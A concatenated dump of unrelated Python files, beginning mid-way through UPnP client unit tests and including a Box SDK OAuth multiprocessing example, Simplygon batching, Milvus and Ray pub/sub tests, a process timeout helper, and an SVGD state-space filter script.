self.assertEqual("".join(args), alphabet) def test_args_order_read_ok(self): """ Make sure that the arguments in the XML are read in order by lxml. """ xpath = 's:actionList/s:action/s:name[text()="InArgsTest"]/../s:argumentList/s:argument/s:name' xml = self.server.service_map["lanhcm"].scpd_xml args = xml.xpath(xpath, namespaces={"s": xml.nsmap[None]}) self.assertEqual("".join(x.text for x in args), "ABCDEFGHIJKLMNOPQRSTUVWXYZ") class TestUPnPClient(unittest.TestCase): @mock.patch("upnpclient.ssdp.Device", return_value="test string") @mock.patch("upnpclient.ssdp.scan") def test_discover(self, mock_scan, mock_server): """ discover() should call netdisco's scan function and return a list of unique servers. """ url = "http://www.example.com" entry = mock.Mock() entry.location = url mock_scan.return_value = [entry, entry] ret = upnp.discover() mock_scan.assert_called() mock_server.assert_called_with(url) self.assertEqual(ret, ["test string"]) @mock.patch("upnpclient.ssdp.Device", side_effect=Exception) @mock.patch("upnpclient.ssdp.scan") def test_discover_exception(self, mock_scan, mock_server): """ If unable to read a discovered server's root XML file, it should not appear in the list. """ url = "http://www.example.com" entry = mock.Mock() entry.location = url mock_scan.return_value = [entry] ret = upnp.discover() mock_scan.assert_called() mock_server.assert_called_with(url) self.assertEqual(ret, []) def test_validate_date(self): """ Should validate the 'date' type. """ ret = upnp.Action.validate_arg("2017-08-11", dict(datatype="date")) self.assertEqual(ret, (True, set())) def test_validate_bad_date(self): """ Bad 'date' type should fail validation. """ valid, reasons = upnp.Action.validate_arg("2017-13-13", dict(datatype="date")) print(reasons) self.assertTrue(reasons) self.assertFalse(valid) def test_validate_date_with_time(self): """ Should raise a ValidationError if a 'date' contains a time. """ valid, reasons = upnp.Action.validate_arg( "2017-13-13T12:34:56", dict(datatype="date") ) print(reasons) self.assertTrue(reasons) self.assertFalse(valid) def test_marshal_date(self): """ Should parse a valid date into a `datetime.date` object. """ marshalled, val = upnp.marshal.marshal_value("date", "2017-08-11") self.assertTrue(marshalled) self.assertIsInstance(val, datetime.date) tests = dict(year=2017, month=8, day=11) for key, value in tests.items(): self.assertEqual(getattr(val, key), value) def test_marshal_datetime(self): """ Should parse and marshal a 'dateTime' into a timezone naive `datetime.datetime`. """ marshalled, val = upnp.marshal.marshal_value("dateTime", "2017-08-11T12:34:56") self.assertTrue(marshalled) self.assertIsInstance(val, datetime.datetime) tests = dict(year=2017, month=8, day=11, hour=12, minute=34, second=56) for key, value in tests.items(): self.assertEqual(getattr(val, key), value) self.assertEqual(val.tzinfo, None) def test_marshal_datetime_tz(self): """ Should parse and marshal a 'dateTime.tz' into a timezone aware `datetime.datetime`. """ marshalled, val = upnp.marshal.marshal_value( "dateTime.tz", "2017-08-11T12:34:56+1:00" ) self.assertTrue(marshalled) self.assertIsInstance(val, datetime.datetime) tests = dict(year=2017, month=8, day=11, hour=12, minute=34, second=56) for key, value in tests.items(): self.assertEqual(getattr(val, key), value) self.assertEqual(val.utcoffset(), datetime.timedelta(hours=1)) def test_validate_time_illegal_tz(self): """ Should fail validation if 'time' contains a timezone. """ valid, reasons = upnp.Action.validate_arg("12:34:56+1:00", dict(datatype="time")) print(reasons) self.assertTrue(reasons) self.assertFalse(valid) def test_marshal_time(self): """ Should parse a 'time' into a timezone naive `datetime.time`. """ marshalled, val = upnp.marshal.marshal_value("time", "12:34:56") self.assertTrue(marshalled) self.assertIsInstance(val, datetime.time) tests = dict(hour=12, minute=34, second=56) for key, value in tests.items(): self.assertEqual(getattr(val, key), value) self.assertEqual(val.tzinfo, None) def test_marshal_time_tz(self): """ Should parse a 'time.tz' into a timezone aware `datetime.time`. """ marshalled, val = upnp.marshal.marshal_value("time.tz", "12:34:56+1:00") self.assertTrue(marshalled) self.assertIsInstance(val, datetime.time) tests = dict(hour=12, minute=34, second=56) for key, value in tests.items(): self.assertEqual(getattr(val, key), value) self.assertEqual(val.utcoffset(), datetime.timedelta(hours=1)) def test_marshal_bool(self): """ Should parse a 'boolean' into a `bool`. """ valid_true = ("1", "true", "TRUE", "True", "yes", "YES", "Yes") valid_false = ("0", "false", "FALSE", "False", "no", "NO", "No") tests = list(zip(valid_true, [True] * len(valid_true))) + list( zip(valid_false, [False] * len(valid_false)) ) for item, test in tests: marshalled, val = upnp.marshal.marshal_value("boolean", item) self.assertTrue(marshalled) self.assertEqual(val, test) def test_validate_bad_bool(self): """ Should raise a ValidationError if an invalid 'boolean' is provided. """ valid, reasons = upnp.Action.validate_arg("2", dict(datatype="boolean")) print(reasons) self.assertTrue(reasons) self.assertFalse(valid) def test_validate_base64(self): """ Should validate a 'bin.base64' value. """ bstring = "Hello, World!".encode("utf8") encoded = base64.b64encode(bstring) valid, reasons = upnp.Action.validate_arg(encoded, dict(datatype="bin.base64")) print(reasons) self.assertFalse(reasons) self.assertTrue(valid) def test_marshal_base64(self): """ Should simply leave the base64 string as it is. """ bstring = "Hello, World!".encode("utf8") encoded = base64.b64encode(bstring) marshalled, val = upnp.marshal.marshal_value("bin.base64", encoded) self.assertTrue(marshalled) self.assertEqual(val, encoded) def test_validate_hex(self): """ Should validate a 'bin.hex' value. """ bstring = "Hello, World!".encode("ascii") valid, reasons = upnp.Action.validate_arg( binascii.hexlify(bstring), dict(datatype="bin.hex") ) print(reasons) self.assertFalse(reasons) self.assertTrue(valid) def test_marshal_hex(self): """ Should simply leave the hex string as it is. """ bstring = "Hello, World!".encode("ascii") encoded = binascii.hexlify(bstring) marshalled, val = upnp.marshal.marshal_value("bin.hex", encoded) self.assertTrue(marshalled) self.assertEqual(val, encoded) def test_validate_uri(self): """ Should validate a 'uri' value. """ uri = "https://media.giphy.com/media/22kxQ12cxyEww/giphy.gif?something=variable" valid, reasons = upnp.Action.validate_arg(uri, dict(datatype="uri")) print(reasons) self.assertFalse(reasons) self.assertTrue(valid) def test_marshal_uri(self): """ Should parse a 'uri' value into a `ParseResult`. """ uri = "https://media.giphy.com/media/22kxQ12cxyEww/giphy.gif?something=variable" marshalled, val = upnp.marshal.marshal_value("uri", uri) self.assertTrue(marshalled) self.assertIsInstance(val, ParseResult) def test_validate_uuid(self): """ Should validate a 'uuid' value. """ uuid = "bec6d681-a6af-4e7d-8b31-bcb78018c814" valid, reasons = upnp.Action.validate_arg(uuid, dict(datatype="uuid")) print(reasons) self.assertFalse(reasons) self.assertTrue(valid) def test_validate_bad_uuid(self): """ Should reject badly formatted 'uuid' values. """ uuid = "bec-6d681a6af-4e7d-8b31-bcb78018c814" valid, reasons = upnp.Action.validate_arg(uuid, dict(datatype="uuid")) self.assertTrue(reasons) self.assertFalse(valid) def test_marshal_uuid(self): """ Should parse a 'uuid' into a `uuid.UUID`. """ uuid = "bec6d681-a6af-4e7d-8b31-bcb78018c814" marshalled, val = upnp.marshal.marshal_value("uuid", uuid) self.assertTrue(marshalled) self.assertIsInstance(val, UUID) def test_validate_subscription_response(self): """ Should validate the sub response and return sid and timeout. """ sid = "abcdef" timeout = 123 resp = mock.Mock() resp.headers = dict(SID=sid, Timeout="Second-%s" % timeout) rsid, rtimeout = upnp.Service.validate_subscription_response(resp) self.assertEqual(rsid, sid) self.assertEqual(rtimeout, timeout) def test_validate_subscription_response_caps(self): """ Should validate the sub response and return sid and timeout regardless of capitalisation. """ sid = "abcdef" timeout = 123 resp = mock.Mock() resp.headers = dict(sid=sid, TIMEOUT="SeCoNd-%s" % timeout) rsid, rtimeout = upnp.Service.validate_subscription_response(resp) self.assertEqual(rsid, sid) self.assertEqual(rtimeout, timeout) def test_validate_subscription_response_infinite(self): """ Should validate the sub response and return None as the timeout. """ sid = "abcdef" timeout = "infinite" resp = mock.Mock() resp.headers = dict(SID=sid, Timeout="Second-%s" % timeout) rsid, rtimeout = upnp.Service.validate_subscription_response(resp) self.assertEqual(rsid, sid) self.assertEqual(rtimeout, None) def test_validate_subscription_response_no_timeout(self): """ Should raise UnexpectedResponse if timeout is missing. """ resp = mock.Mock() resp.headers = dict(SID="abcdef") self.assertRaises( upnp.UnexpectedResponse, upnp.Service.validate_subscription_response, resp ) def test_validate_subscription_response_no_sid(self): """ Should raise UnexpectedResponse if sid is missing. """ resp = mock.Mock() resp.headers = dict(Timeout="Second-123") self.assertRaises( upnp.UnexpectedResponse, upnp.Service.validate_subscription_response, resp ) def test_validate_subscription_response_bad_timeout(self): """ Should raise UnexpectedResponse if timeout is in the wrong format. """ resp = mock.Mock() resp.headers = dict(SID="abcdef", Timeout="123") self.assertRaises( upnp.UnexpectedResponse, upnp.Service.validate_subscription_response, resp ) def test_validate_subscription_response_bad_timeout2(self): """ Should raise UnexpectedResponse if timeout is not an int/infinite. """ resp = mock.Mock() resp.headers = dict(SID="abcdef", Timeout="Second-abc") self.assertRaises( upnp.UnexpectedResponse, upnp.Service.validate_subscription_response, resp ) def test_validate_subscription_renewal_response(self): """ Should validate the sub renewal response and return the timeout. """ timeout = 123 resp = mock.Mock() resp.headers = dict(Timeout="Second-%s" % timeout) rtimeout = upnp.Service.validate_subscription_renewal_response(resp) self.assertEqual(rtimeout, timeout) def test_validate_subscription_renewal_response_infinite(self): """ Should validate the sub renewal response and return None as the timeout. """ timeout = "infinite" resp = mock.Mock() resp.headers = dict(Timeout="Second-%s" % timeout) rtimeout = upnp.Service.validate_subscription_renewal_response(resp) self.assertEqual(rtimeout, None) def test_validate_subscription_renewal_response_no_timeout(self): """ Should raise UnexpectedResponse if timeout is missing. """ resp = mock.Mock() resp.headers = dict() self.assertRaises( upnp.UnexpectedResponse, upnp.Service.validate_subscription_renewal_response, resp, ) def test_validate_subscription_renewal_response_bad_timeout(self): """ Should raise UnexpectedResponse if timeout is in the wrong format. """ resp = mock.Mock() resp.headers = dict(Timeout="123") self.assertRaises( upnp.UnexpectedResponse, upnp.Service.validate_subscription_renewal_response, resp, ) def test_validate_subscription_renewal_response_bad_timeout2(self): """ Should raise UnexpectedResponse if timeout is not an int/infinite. """ resp = mock.Mock() resp.headers = dict(Timeout="Second-abc") self.assertRaises( upnp.UnexpectedResponse, upnp.Service.validate_subscription_renewal_response, resp, ) class TestSOAP(unittest.TestCase): @mock.patch("requests.post", side_effect=EndPrematurelyException) def test_call(self, mock_post): url = "http://www.example.com" soap = upnp.soap.SOAP(url, "test") self.assertRaises(EndPrematurelyException, soap.call, "TestAction") mock_post.assert_called() args, _ = mock_post.call_args call_url, body = args self.assertEqual(url, call_url) etree.fromstring(body) @mock.patch("requests.post", side_effect=EndPrematurelyException) def test_call_with_auth(self, mock_post): url = "http://www.example.com" auth = ("myuser", "mypassword") soap = upnp.soap.SOAP(url, "test") self.assertRaises( EndPrematurelyException, soap.call, "TestAction", http_auth=auth ) mock_post.assert_called() args, kwargs = mock_post.call_args call_url, body = args self.assertEqual(url, call_url) etree.fromstring(body) self.assertIn("auth", kwargs) self.assertEqual(kwargs["auth"], auth) @mock.patch("requests.post") def test_non_xml_error(self, mock_post): exc = requests.exceptions.HTTPError() exc.response = mock.Mock() exc.response.content = "this is not valid xml" mock_post.side_effect = exc soap = upnp.soap.SOAP("http://www.example.com", "test") self.assertRaises(requests.exceptions.HTTPError, soap.call, "TestAction") @mock.patch("requests.post") def test_missing_error_code_element(self, mock_post): exc = requests.exceptions.HTTPError() exc.response = mock.Mock() exc.response.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <s:Fault> <faultcode>s:Client</faultcode> <faultstring>UPnPError</faultstring> <detail> <UPnPError xmlns="urn:schemas-upnp-org:control-1-0"> <errorDescription>Invalid Action</errorDescription> </UPnPError> </detail> </s:Fault> </s:Body> </s:Envelope> """.strip() mock_post.side_effect = exc soap = upnp.soap.SOAP("http://www.example.com", "test") self.assertRaises(upnp.soap.SOAPProtocolError, soap.call, "TestAction") @mock.patch("requests.post") def test_missing_error_description_element(self, mock_post): exc = requests.exceptions.HTTPError() exc.response = mock.Mock() exc.response.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <s:Fault> <faultcode>s:Client</faultcode> <faultstring>UPnPError</faultstring> <detail> <UPnPError xmlns="urn:schemas-upnp-org:control-1-0"> <errorCode>401</errorCode> </UPnPError> </detail> </s:Fault> </s:Body> </s:Envelope> """.strip() mock_post.side_effect = exc soap = upnp.soap.SOAP("http://www.example.com", "test") self.assertRaises(upnp.soap.SOAPProtocolError, soap.call, "TestAction") @mock.patch("requests.post") def test_missing_response_element(self, mock_post): ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SomeOtherElement xmlns:u="urn:schemas-upnp-org:service:Layer3Forwarding:1"> <NewEnabled>true</NewEnabled> </u:SomeOtherElement> </s:Body> </s:Envelope> """ mock_post.return_value = ret soap = upnp.soap.SOAP("http://www.example.com", "test") self.assertRaises(upnp.soap.SOAPProtocolError, soap.call, "TestAction") class TestErrors(unittest.TestCase): desc = upnp.errors.ERR_CODE_DESCRIPTIONS def test_existing_err(self): for key, value in self.desc._descriptions.items(): self.assertEqual(self.desc[key], value) def test_non_integer(self): try: self.desc["a string"] raise Exception("Should have raised KeyError.") except KeyError as exc: self.assertEqual(str(exc), "\"'key' must be an integer\"") def test_reserved(self): for i in range(606, 612 + 1): # 606-612 self.assertEqual( self.desc[i], "These ErrorCodes are reserved for UPnP DeviceSecurity." ) def test_common_action(self): for i in range(613, 699 + 1): self.assertEqual( self.desc[i], "Common action errors. Defined by UPnP Forum Technical Committee.", ) def test_action_specific_committee(self): for i in range(700, 799 + 1): self.assertEqual( self.desc[i], "Action-specific errors defined by UPnP Forum working committee.", ) def test_action_specific_vendor(self): for i in range(800, 899 + 1): self.assertEqual( self.desc[i], "Action-specific errors for non-standard actions. Defined by UPnP vendor.", )
cooperative_auth.py
# coding: utf-8 from logging import getLogger from multiprocessing import Manager, Process from os import getpid from boxsdk.auth.cooperatively_managed_oauth2 import CooperativelyManagedOAuth2 from boxsdk.util.log import setup_logging from boxsdk import Client from .auth import authenticate, CLIENT_ID, CLIENT_SECRET def main(): # Create a multiprocessing manager to use as the token store global tokens, refresh_lock manager = Manager() tokens = manager.Namespace() refresh_lock = manager.Lock() # Authenticate in main process oauth2, tokens.access, tokens.refresh = authenticate(CooperativelyManagedOAuth2) # Create 2 worker processes and wait on them to finish workers = [] for _ in range(2): worker_process = Process(target=worker) worker_process.start() workers.append(worker_process) for worker_process in workers: worker_process.join() def _retrive_tokens(): return tokens.access, tokens.refresh def _store_tokens(access_token, refresh_token): tokens.access, tokens.refresh = access_token, refresh_token def worker(): # Set up a logging network, but use the LoggingProxy so we can see which PID is generating messages logger = getLogger('boxsdk.network.{0}'.format(getpid())) setup_logging(name=logger.name) # Create a coop oauth2 instance. # Tokens will be retrieved from and stored to the multiprocessing Namespace. # A multiprocessing Lock will be used to synchronize token refresh. # The tokens from the main process are used for initial auth. # Whichever process needs to refresh oauth2 = CooperativelyManagedOAuth2( retrieve_tokens=_retrive_tokens, client_id=CLIENT_ID, client_secret=CLIENT_SECRET, store_tokens=_store_tokens, access_token=tokens.access, refresh_token=tokens.refresh, refresh_lock=refresh_lock, ) client = Client(oauth2) _do_work(client) def _do_work(client): # Do some work in a worker process. # To see token refresh, perhaps put this in a loop (and don't forget to sleep for a bit between requests). me = client.user(user_id='me').get() items = client.folder('0').get_items(10) if __name__ == '__main__': main()
BatchingWithSimplygonGrid.py
# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. import math import os import sys import glob import gc import threading from pathlib import Path from simplygon9 import simplygon_loader from simplygon9 import Simplygon def CheckLog(sg: Simplygon.ISimplygon): # Check if any errors occurred. hasErrors = sg.ErrorOccurred() if hasErrors: errors = sg.CreateStringArray() sg.GetErrorMessages(errors) errorCount = errors.GetItemCount() if errorCount > 0: print("Errors:") for errorIndex in range(errorCount): errorString = errors.GetItem(errorIndex) print(errorString) sg.ClearErrorMessages() else: print("No errors.") # Check if any warnings occurred. hasWarnings = sg.WarningOccurred() if hasWarnings: warnings = sg.CreateStringArray() sg.GetWarningMessages(warnings) warningCount = warnings.GetItemCount() if warningCount > 0: print("Warnings:") for warningIndex in range(warningCount): warningString = warnings.GetItem(warningIndex) print(warningString) sg.ClearWarningMessages() else: print("No warnings.") def RunReduction(sg: Simplygon.ISimplygon, inputFile, outputFile): # Create the reduction pipeline. sgReductionPipeline = sg.CreateReductionPipeline() sgReductionSettings = sgReductionPipeline.GetReductionSettings() # Set reduction target to triangle ratio with a ratio of 50%. sgReductionSettings.SetReductionTargets( Simplygon.EStopCondition_All, True, False, False, False ) sgReductionSettings.SetReductionTargetTriangleRatio( 0.5 ) # Start the reduction pipeline. print("Start the reduction pipeline.") sgReductionPipeline.RunSceneFromFile(inputFile, outputFile, Simplygon.EPipelineRunMode_RunDistributedUsingSimplygonGrid) # Check log for any warnings or errors. print("Check log for any warnings or errors.") CheckLog(sg) if __name__ == '__main__': sg = simplygon_loader.init_simplygon() if sg is None: exit(Simplygon.GetLastInitializationError()) jobs = list() inputFiles = glob.glob('../../../Assets/' + '/**/*.glb', recursive=True) for inputFile in inputFiles: outputFile = Path(inputFile).stem + '_LOD' + Path(inputFile).suffix job = threading.Thread(target=RunReduction, args=(sg, inputFile, outputFile)) jobs.append(job) job.start() for job in jobs: job.join() sg = None gc.collect()
test_thread.py
import concurrent.futures import datetime import random import sys import threading import time sys.path.append('.') from factorys import time_it from milvus_cloud import Milvus dimension = 512 number = 100000 table_name = 'multi_task' def add_vector_task(milvus, vector): status, ids = milvus.insert(table_name=table_name, records=vector) assert status.OK(), "add vectors failed" assert len(ids) == len(vector) @time_it def thread_pool_add_vector(milvus, pool_size, vectors): with concurrent.futures.ThreadPoolExecutor(max_workers=pool_size) as executor: for _ in range(pool_size): executor.submit(add_vector_task, milvus, vectors) def test_run(gcon): gmilvus = gcon if gmilvus is None: assert False, "Error occurred: connect failure" status, exists = gmilvus.has_collection(table_name) if exists: gmilvus.drop_collection(table_name) time.sleep(2) table_param = { 'collection_name': table_name, 'dimension': dimension, 'index_file_size': 1024, 'metric_type': 1 } gmilvus.create_collection(table_param) for p in (1, 5, 10, 20, 40, 50, 100): pool_size = p step = number // pool_size vectors = [[random.random() for _ in range(dimension)] for _ in range(step)] thread_pool_add_vector(gmilvus, p, vectors) time.sleep(1.5) _, gcount = gmilvus.count_entities(table_name) print(gcount) def test_mult_insert(gcon): def multi_thread_opr(client, collection_name, utid): collection_param = { 'collection_name': collection_name, 'dimension': 64 } vectors = [[random.random() for _ in range(64)] for _ in range(10000)] status = client.create_collection(collection_param) assert status.OK() status, _ = client.insert(table_name, vectors) assert status.OK() thread_list = [] for i in range(10): t = threading.Thread(target=multi_thread_opr, args=(gcon, "multi_table_{}".format(random.randint(0, 10000)), i)) t.start() thread_list.append(t) for tr in thread_list: tr.join(timeout=None) print("Done")
timeout.py
import multiprocessing import time from logging import Logger from typing import Callable, Union from modules.timeout.responder import Response def timeout(seconds: Union[int, float], function: Callable, args: Union[list, tuple] = None, kwargs: dict = None, logger: Logger = None) -> Response: """Runs the given function. Args: seconds: Timeout after which the said function has to be terminated. function: Function to run and timeout. args: Args to be passed to the function. kwargs: Keyword args to be passed to the function. logger: Logger to optionally log the timeout events. Returns: Response: A custom response class to indicate whether the function completed within the set timeout. """ process = multiprocessing.Process(target=function, args=args or [], kwargs=kwargs or {}) _start = time.time() if logger: logger.info(f"Starting {function.__name__} at {time.strftime('%H:%M:%S', time.localtime(_start))} with " f"timeout: {seconds}") process.start() process.join(timeout=seconds) exec_time = round(float(time.time() - _start), 2) logger.info(f"Joined process {process.pid} after {exec_time} seconds.") if logger else None if process.is_alive(): logger.warning(f"Process {process.pid} is still alive. Terminating.") if logger else None process.terminate() process.join(timeout=1e-01) try: logger.info(f"Closing process: {process.pid}") if logger else None process.close() # Close immediately instead of waiting to be garbage collected except ValueError as error: # Expected when join timeout is insufficient. The resources will be released eventually but not immediately. logger.error(error) if logger else None return Response(dictionary={ "ok": False, "msg": f"Function [{function.__name__}] exceeded {seconds} seconds." }) return Response(dictionary={ "ok": True, "msg": f"Function [{function.__name__}] completed in {exec_time} seconds." })
llg.py
from autograd import numpy as np from autograd import grad, jacobian import numpy.matlib as nm from svgd import SVGD import sys #from mpltools import style #from mpltools import layout from multiprocessing import Process, Manager #style.use('ggplot') import matplotlib.pyplot as plt #-(1.0/(2*observation_variance))*(theta_i - time_series[t])**2 + np.log(1.0/np.sqrt(np.pi*2*observation_variance)) observation_variance = 1 transition_variance = 10 class StateSpaceModel(): def __init__(self): self.grad_fn = grad(self.lnprob_theta_i) def lnprob_theta_i(self, theta_i, theta_t_minus_1, time_series,t,iter_): #ln poisson observations lnprob_theta_i = 1.0/(np.sqrt(2*np.pi*observation_variance))*np.exp(-.5*(1.0/observation_variance)*((time_series[t] - theta_i )**2)) transition_sum = 0 for theta_t_minus_1_i in theta_t_minus_1: transition_sum += 1.0/(np.sqrt(2*np.pi*transition_variance))*np.exp(-.5*(1.0/transition_variance)*((theta_i - theta_t_minus_1_i )**2)) return (np.log(lnprob_theta_i)+np.log(transition_sum)) def dlnprob(self, theta_i,theta_t_minus_1,time_series, t, iter_): return (self.grad_fn(theta_i, theta_t_minus_1, time_series,t , iter_)) def grad_overall(self, theta,theta_t_minus_1,time_series, t, iter_): def f(d,b,theta_b,theta_t_minus_1,time_series,t,iter_): return_matrix = [] for theta_i in theta_b: return_matrix.append(self.dlnprob(theta_i,theta_t_minus_1 ,time_series,t, iter_)) d[b] = return_matrix manager = Manager() d = manager.dict() jobs = [] # we need to parallelize this to get realistic speeds theta_split = np.split(theta,len(theta)/5) for i in range(len(theta_split)): p = Process(target=f, args=(d,i,theta_split[i],theta_t_minus_1,time_series,t,iter_)) jobs.append(p) for job in jobs: job.start() for job in jobs: job.join() return_matrix = [] keylist = d.keys() keylist.sort() for key in keylist: return_matrix += d[key] return np.array(return_matrix) if __name__ == '__main__': filtered_means = [] filtered_covs = [] total_thetas = [] n_iter = 200 time_series = np.round(np.power(np.sin(np.arange(2)+1),2)*10 + 10) input_exists = False i = 1 while input_exists: try: time_series.append(float(sys.argv[i].replace(",",""))) i+=1 except: input_exists =False model = StateSpaceModel() num_particles = 100 x0 = np.random.normal(-2,1,[num_particles,1]).astype(float) weights = [] svgd = SVGD() theta = svgd.update(x0,0,x0,time_series, model.grad_overall,n_iter=n_iter, stepsize=0.01) total_thetas.append(theta) #theta = p(x_0|y_0) filtered_means.append(np.mean(theta,axis=0)[0]) filtered_covs.append(np.var(theta,axis=0)[0]) for t in range(1,len(time_series)): svgd = SVGD() theta = svgd.update(theta,t,theta, time_series, model.grad_overall, n_iter=n_iter, stepsize=0.01) total_thetas.append(theta) filtered_means.append(np.mean(theta,axis=0)[0]) filtered_covs.append(np.var(theta,axis=0)[0]) print (np.array(weights).shape) print (np.array(total_thetas).shape) return_list = filtered_means + filtered_covs + model.weights total_thetas = np.array(total_thetas).flatten() total_thetas = np.append(total_thetas,np.array(weights).flatten()) myList = ','.join(map(str,total_thetas)) print (myList) print (total_thetas.shape)
test_gcs_pubsub.py
import sys import threading import ray import ray._private.gcs_utils as gcs_utils from ray._private.gcs_pubsub import GcsPublisher, GcsErrorSubscriber, \ GcsLogSubscriber, GcsFunctionKeySubscriber, GcsAioPublisher, \ GcsAioErrorSubscriber, GcsAioLogSubscriber, GcsAioResourceUsageSubscriber from ray.core.generated.gcs_pb2 import ErrorTableData import pytest @pytest.mark.parametrize( "ray_start_regular", [{ "_system_config": { "gcs_grpc_based_pubsub": True } }], indirect=True) def test_publish_and_subscribe_error_info(ray_start_regular): address_info = ray_start_regular redis = ray._private.services.create_redis_client( address_info["redis_address"], password=ray.ray_constants.REDIS_DEFAULT_PASSWORD) gcs_server_addr = gcs_utils.get_gcs_address_from_redis(redis) subscriber = GcsErrorSubscriber(address=gcs_server_addr) subscriber.subscribe() publisher = GcsPublisher(address=gcs_server_addr) err1 = ErrorTableData(error_message="test error message 1") err2 = ErrorTableData(error_message="test error message 2") publisher.publish_error(b"aaa_id", err1) publisher.publish_error(b"bbb_id", err2) assert subscriber.poll() == (b"aaa_id", err1) assert subscriber.poll() == (b"bbb_id", err2) subscriber.close() @pytest.mark.asyncio @pytest.mark.parametrize( "ray_start_regular", [{ "_system_config": { "gcs_grpc_based_pubsub": True } }], indirect=True) async def test_aio_publish_and_subscribe_error_info(ray_start_regular): address_info = ray_start_regular redis = ray._private.services.create_redis_client( address_info["redis_address"], password=ray.ray_constants.REDIS_DEFAULT_PASSWORD) gcs_server_addr = gcs_utils.get_gcs_address_from_redis(redis) subscriber = GcsAioErrorSubscriber(address=gcs_server_addr) await subscriber.subscribe() publisher = GcsAioPublisher(address=gcs_server_addr) err1 = ErrorTableData(error_message="test error message 1") err2 = ErrorTableData(error_message="test error message 2") await publisher.publish_error(b"aaa_id", err1) await publisher.publish_error(b"bbb_id", err2) assert await subscriber.poll() == (b"aaa_id", err1) assert await subscriber.poll() == (b"bbb_id", err2) await subscriber.close() @pytest.mark.parametrize( "ray_start_regular", [{ "_system_config": { "gcs_grpc_based_pubsub": True } }], indirect=True) def test_publish_and_subscribe_logs(ray_start_regular): address_info = ray_start_regular redis = ray._private.services.create_redis_client( address_info["redis_address"], password=ray.ray_constants.REDIS_DEFAULT_PASSWORD) gcs_server_addr = gcs_utils.get_gcs_address_from_redis(redis) subscriber = GcsLogSubscriber(address=gcs_server_addr) subscriber.subscribe() publisher = GcsPublisher(address=gcs_server_addr) log_batch = { "ip": "127.0.0.1", "pid": 1234, "job": "0001", "is_err": False, "lines": ["line 1", "line 2"], "actor_name": "test actor", "task_name": "test task", } publisher.publish_logs(log_batch) # PID is treated as string. log_batch["pid"] = "1234" assert subscriber.poll() == log_batch subscriber.close() @pytest.mark.asyncio @pytest.mark.parametrize( "ray_start_regular", [{ "_system_config": { "gcs_grpc_based_pubsub": True } }], indirect=True) async def test_aio_publish_and_subscribe_logs(ray_start_regular): address_info = ray_start_regular redis = ray._private.services.create_redis_client( address_info["redis_address"], password=ray.ray_constants.REDIS_DEFAULT_PASSWORD) gcs_server_addr = gcs_utils.get_gcs_address_from_redis(redis) subscriber = GcsAioLogSubscriber(address=gcs_server_addr) await subscriber.subscribe() publisher = GcsAioPublisher(address=gcs_server_addr) log_batch = { "ip": "127.0.0.1", "pid": "gcs", "job": "0001", "is_err": False, "lines": ["line 1", "line 2"], "actor_name": "test actor", "task_name": "test task", } await publisher.publish_logs(log_batch) assert await subscriber.poll() == log_batch await subscriber.close() @pytest.mark.parametrize( "ray_start_regular", [{ "_system_config": { "gcs_grpc_based_pubsub": True } }], indirect=True) def test_publish_and_subscribe_function_keys(ray_start_regular): address_info = ray_start_regular redis = ray._private.services.create_redis_client( address_info["redis_address"], password=ray.ray_constants.REDIS_DEFAULT_PASSWORD) gcs_server_addr = gcs_utils.get_gcs_address_from_redis(redis) subscriber = GcsFunctionKeySubscriber(address=gcs_server_addr) subscriber.subscribe() publisher = GcsPublisher(address=gcs_server_addr) publisher.publish_function_key(b"111") publisher.publish_function_key(b"222") assert subscriber.poll() == b"111" assert subscriber.poll() == b"222" subscriber.close() @pytest.mark.asyncio @pytest.mark.parametrize( "ray_start_regular", [{ "_system_config": { "gcs_grpc_based_pubsub": True } }], indirect=True) async def test_aio_publish_and_subscribe_resource_usage(ray_start_regular): address_info = ray_start_regular redis = ray._private.services.create_redis_client( address_info["redis_address"], password=ray.ray_constants.REDIS_DEFAULT_PASSWORD) gcs_server_addr = gcs_utils.get_gcs_address_from_redis(redis) subscriber = GcsAioResourceUsageSubscriber(address=gcs_server_addr) await subscriber.subscribe() publisher = GcsAioPublisher(address=gcs_server_addr) await publisher.publish_resource_usage("aaa_id", "{\"cpu\": 1}") await publisher.publish_resource_usage("bbb_id", "{\"cpu\": 2}") assert await subscriber.poll() == ("aaa_id", "{\"cpu\": 1}") assert await subscriber.poll() == ("bbb_id", "{\"cpu\": 2}") await subscriber.close() @pytest.mark.parametrize( "ray_start_regular", [{ "_system_config": { "gcs_grpc_based_pubsub": True } }], indirect=True) def test_two_subscribers(ray_start_regular): """Tests concurrently subscribing to two channels work.""" address_info = ray_start_regular redis = ray._private.services.create_redis_client( address_info["redis_address"], password=ray.ray_constants.REDIS_DEFAULT_PASSWORD) gcs_server_addr = gcs_utils.get_gcs_address_from_redis(redis) num_messages = 100 errors = [] error_subscriber = GcsErrorSubscriber(address=gcs_server_addr) # Make sure subscription is registered before publishing starts. error_subscriber.subscribe() def receive_errors(): while len(errors) < num_messages: _, msg = error_subscriber.poll() errors.append(msg) t1 = threading.Thread(target=receive_errors) t1.start() logs = [] log_subscriber = GcsLogSubscriber(address=gcs_server_addr) # Make sure subscription is registered before publishing starts. log_subscriber.subscribe() def receive_logs(): while len(logs) < num_messages: log_batch = log_subscriber.poll() logs.append(log_batch) t2 = threading.Thread(target=receive_logs) t2.start() publisher = GcsPublisher(address=gcs_server_addr) for i in range(0, num_messages): publisher.publish_error( b"msg_id", ErrorTableData(error_message=f"error {i}")) publisher.publish_logs({ "ip": "127.0.0.1", "pid": "gcs", "job": "0001", "is_err": False, "lines": [f"log {i}"], "actor_name": "test actor", "task_name": "test task", }) t1.join(timeout=10) assert len(errors) == num_messages, str(errors) assert not t1.is_alive(), str(errors) t2.join(timeout=10) assert len(logs) == num_messages, str(logs) assert not t2.is_alive(), str(logs) for i in range(0, num_messages): assert errors[i].error_message == f"error {i}", str(errors) assert logs[i]["lines"][0] == f"log {i}", str(logs) if __name__ == "__main__": sys.exit(pytest.main(["-v", __file__]))
client.py
